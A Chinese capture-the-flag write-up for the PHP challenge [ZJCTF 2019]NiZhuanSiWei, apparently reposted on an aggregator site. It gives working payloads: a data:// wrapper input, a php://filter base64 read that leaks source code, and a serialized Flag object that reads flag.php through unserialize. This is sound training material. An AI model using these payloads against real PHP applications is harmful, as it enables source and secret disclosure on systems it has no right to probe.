[ZJCTF 2019]NiZhuanSiWei
Posted F1ght!!
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ZJCTF 2019]NiZhuanSiWei相关的知识,希望对你有一定的参考价值。
这才是一道,当时令人感觉到难度的题目:
如图:
典型的代码审计。
第一条,先从$text中读取文件内容。用php伪协议中的data或者input方法进行传入数据。
data伪协议:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
成功,接下来看:
利用php://filter:读取useless.php里的东西:
&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解密得到:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
白嫖,搞不懂了:
似乎是暗示要将Flag()初始化:
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
$password = serialize($password);
echo $password;
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
序列化的结果如上:
最终得payload为:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
以上是关于[ZJCTF 2019]NiZhuanSiWei的主要内容,如果未能解决你的问题,请参考以下文章
BUUCTF[ZJCTF 2019]NiZhuanSiWei